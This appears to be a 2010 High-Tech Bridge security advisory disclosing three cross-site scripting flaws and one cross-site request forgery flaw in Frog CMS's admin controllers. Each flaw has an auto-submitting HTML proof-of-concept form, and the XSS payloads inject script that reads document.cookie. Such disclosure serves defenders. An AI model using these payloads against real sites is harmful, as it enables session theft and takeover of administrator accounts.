Lucene search

K
htbridgeHigh-Tech BridgeHTB22682
HistoryNov 09, 2010 - 12:00 a.m.

Multiple Vulnerabilities in Frog CMS

2010-11-0900:00:00
High-Tech Bridge
www.htbridge.com
20

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerability in Frog CMS which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

  1. Cross-site scripting (XSS) vulnerabilities in Frog CMS
    1.1 The vulnerability exists due to input sanitation error in the “page[keywords]” parameter in frog/app/controllers/PageController.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in users browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface. Exploitation example: <form action="http://host/admin/?/page/edit/PAGE_ID" method="post" name="main"> <input type="hidden" name="page[parent_id]" value="1"> <input type="hidden" name="page[title]" value="page title"> <input type="hidden" name="page[slug]" value="sef_url"> <input type="hidden" name="page[breadcrumb]" value="breadcrumbs"> <input type="hidden" name="page[keywords]" value='key"><script>alert(document.cookie)</script>'> <input type="hidden" name="page[description]" value=""> <input type="hidden" name="page_tag[tags]" value=""> <input type="hidden" name="page[created_on]" value="2010-10-25"> <input type="hidden" name="page[created_on_time]" value="23:28:03"> <input type="hidden" name="page[published_on]" value="2010-10-25"> <input type="hidden" name="page[published_on_time]" value="23:28:04"> <input type="hidden" name="part[0][name]" value="body"> <input type="hidden" name="part[0][id]" value="7"> <input type="hidden" name="part[0][filter_id]" value="markdown"> <input type="hidden" name="part[0][content]" value="page content"> <input type="hidden" name="page[layout_id]" value=""> <input type="hidden" name="page[behavior_id]" value=""> <input type="hidden" name="page[status_id]" value="100"> <input type="hidden" name="page[needs_login]" value="2"> <input type="hidden" name="commit" value="Save and Close"> </form> <script> document.main.submit(); </script> 1.2 The vulnerability exists due to input sanitation error in the "setting[admin_title]" parameter in frog/app/controllers/SettingController.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in users browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
    Exploitation example:
    <form action=“http://host/admin/?/setting” method=“post” name=“main”>
    <input type=“hidden” name=“setting[admin_title]” value=‘Frog CMS"><script>alert(document.cookie)</script>’>
    <input type=“hidden” name=“setting[language]” value=“en”>
    <input type=“hidden” name=“setting[theme]” value=“default”>
    <input type=“hidden” name=“setting[default_tab]” value=“page”>
    <input type=“hidden” name=“setting[default_status_id]” value=“1”>
    <input type=“hidden” name=“setting[default_filter_id]” value=“”>
    <input type=“hidden” name=“commit” value=“Save”>
    </form>
    <script>
    document.main.submit();
    </script>
    1.3 The vulnerability exists due to input sanitation error in the “user[email]” parameter in frog/app/controllers/UserController.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.
    Exploitation example:
    <form action=“http://host/admin/?/user/add” method=“post” name=“main”>
    <input type=“hidden” name=“user[name]” value=“”>
    <input type=“hidden” name=“user[email]” value=‘"><script>alert(document.cookie)</script>’>
    <input type=“hidden” name=“user[username]” value=“”>
    <input type=“hidden” name=“user[password]” value=“”>
    <input type=“hidden” name=“user[confirm]” value=“”>
    <input type=“hidden” name=“user_permission[editor]” value=“3”>
    <input type=“hidden” name=“commit” value=“Save”>
    </form>
    <script>
    document.main.submit();
    </script>

  2. Cross-site request forgery (CSRF) in Frog CMS
    The vulnerability exists due to insufficient validation of the request origin in frog/app/controllers/UserController.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials.
    Exploitation example:
    <form action=“http://host/admin/?/user/edit/USER_ID” method=“post” name=“main”>
    <input type=“hidden” name=“user[name]” value=“username”>
    <input type=“hidden” name=“user[email]” value="[email protected]">
    <input type=“hidden” name=“user[password]” value=“”>
    <input type=“hidden” name=“user[confirm]” value=“”>
    <input type=“hidden” name=“user_permission[administrator]” value=“1”>
    <input type=“hidden” name=“user_permission[developer]” value=“2”>
    <input type=“hidden” name=“user_permission[editor]” value=“3”>
    <input type=“hidden” name=“commit” value=“Save”>
    </form>
    <script>
    document.main.submit();
    </script>